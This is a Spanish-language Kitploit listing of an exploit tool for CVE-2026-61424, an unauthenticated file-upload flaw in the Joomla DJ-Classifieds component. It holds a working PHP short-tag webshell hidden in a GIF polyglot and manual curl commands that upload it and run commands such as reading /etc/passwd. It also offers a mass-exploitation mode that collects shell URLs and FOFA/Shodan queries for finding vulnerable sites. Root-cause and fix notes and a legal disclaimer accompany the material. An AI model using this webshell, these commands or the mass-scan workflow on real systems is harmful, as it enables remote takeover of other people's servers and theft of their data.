Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-61424 — Componente DJ-Classifieds para Joomla: RCE por subida de archivos sin autenticación. Omisión de filtro de 3 cadenas mediante etiquetas cortas de PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-61424
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónMala ConfiguraciónRed TeamingHerramienta de Acceso Remoto
GitHubshinthink/cve-2026-61424

CVE-2026-61424

Componente DJ-Classifieds para Joomla: RCE por subida de archivos sin autenticación. Omisión de filtro de 3 cadenas mediante etiquetas cortas de PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2

hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

Tarea imageupload → Sin autenticación → Bypass del filtro de 3 cadenas (

Resumen

Carga arbitraria de archivos sin autenticación en DJ-Classifieds para Joomla. El endpoint de la tarea imageupload procesa las cargas de archivos sin autenticación y se basa en una lista negra de 3 cadenas (<?php, eval(, base64) que se elude trivialmente mediante las etiquetas cortas de apertura de PHP (<?=). Combinado con un GIF políglota, el archivo cargado supera todas las comprobaciones de validación de imagen mientras contiene un webshell PHP totalmente funcional.


Versiones afectadas

EstadoVersión
Vulnerable1.0 — 3.11.1
Corregida3.11.2 (20 de julio de 2026)

Mecanismo de la vulnerabilidad

Causa raíz

El método upload() en administrator/components/com_djclassifieds/lib/djupload.php está mapeado a la tarea imageupload sin comprobación de autenticación y sin validación de token CSRF.

root@kitploit:~
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

Por qué falla el filtro de seguridad (bypass de 3 cadenas)

El escáner de contenido solo bloquea tres cadenas literales:

root@kitploit:~
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

Esto bloquea <?php, eval( y base64 — pero no las etiquetas cortas de apertura de PHP:

root@kitploit:~
<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

Las etiquetas cortas de eco de PHP (<?=) están habilitadas por defecto desde PHP 5.4.

Flujo del ataque

  1. Crea un políglota: cabecera GIF89a válida + <?=system($_GET['c']);?>
  2. Envía un POST a index.php?option=com_djclassifieds&task=imageupload con name=shell.gif
  3. El servidor comprueba: extensión .gif ✓ getimagesize() ✓ sin <?php/eval(/base64 ✓
  4. El archivo se guarda en tmp/djupload/<shell>.gif
  5. Acceso: https://target.com/tmp/djupload/shell.gif?c=id

Archivos fuente verificados

Evidencia en los registros del servidor

Sondas de escáner anónimo observadas en entornos reales antes de la divulgación:

root@kitploit:~
POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

Uso

Objetivo único

root@kitploit:~
python cve_2026_61424.py -t target.com

Explotación masiva

root@kitploit:~
python cve_2026_61424.py -f targets.txt -o shells.txt

Argumentos


Prueba de concepto

Objetivo único

root@kitploit:~
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

Explotación manual

root@kitploit:~
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

root@kitploit:~
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

La corrección (3.11.2)

  1. Autenticación de Joomla añadida — comprobación de invitado JFactory::getUser() antes de upload()
  2. Validación de token CSRF añadida — JSession::checkToken() en la tarea imageupload
  3. Tipos de archivo restringidos — lista blanca de solo imágenes en el servidor (jpg, jpeg, png, gif)
  4. Escaneo de contenido mejorado — detección de patrones PHP adicionales más allá de la lista negra de 3 cadenas

Impacto

  • RCE completo — ejecutar comandos arbitrarios como el usuario del servidor web
  • Acceso persistente — el shell permanece hasta que se elimine manualmente o se limpie el directorio
  • Abuso de contenido — cargar y alojar archivos arbitrarios en un dominio de confianza
  • Agotamiento del disco — capacidad de carga masiva anónima
  • Ataques encadenados — la imagen políglota puede incluirse mediante LFI en otras partes del sitio

Aviso legal

Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. Úsala únicamente contra sistemas que poseas o para los que tengas permiso explícito de prueba. El autor no asume ninguna responsabilidad por el uso indebido o los daños.


Referencias


No afiliado con DJ-Extensions ni mySites.guru.

Descargar herramienta
CampoDetalle
CVECVE-2026-61424
ProductoDJ-Classifieds (extensión de Joomla de DJ-Extensions)
CVSS 4.010.0 (Crítico)
TipoCWE-434 — Carga de archivos sin restricciones
DescubiertoPhil Taylor / mySites.guru — 16 de julio de 2026
ExplotaciónConfirmada en entornos reales antes de la divulgación
ArchivoFunción
administrator/components/com_djclassifieds/lib/djupload.phpMétodo upload() — sin autenticación, filtro de 3 cadenas
components/com_djclassifieds/controller.phpEnruta la tarea imageupload a upload()
administrator/components/com_djclassifieds/djclassifieds.xmlDivulgación de la versión mediante la etiqueta <version>
FlagDescripciónPor defecto
-t, --targetHost objetivo único—
-f, --fileArchivo con objetivos (uno por línea, comentarios #)—
-o, --outputGuarda las URLs de RCE en un archivo—
--threadsHilos de trabajo para el modo masivo30
--no-cleanupNo eliminar el shell después del RCEFalse
--debugSalida de depuraciónFalse
RecursoEnlace
IONIX Threat Centerionix.io/threat-center/cve-2026-61424
Descubrimiento de mySites.gurumysites.guru/blog/dj-classifieds-unauthenticated-file-upload
Comunicado de seguridad de DJ-Extensionsdj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release
Registro de CVE.orgcve.org/CVERecord?id=CVE-2026-61424
INCIBE-CERTincibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424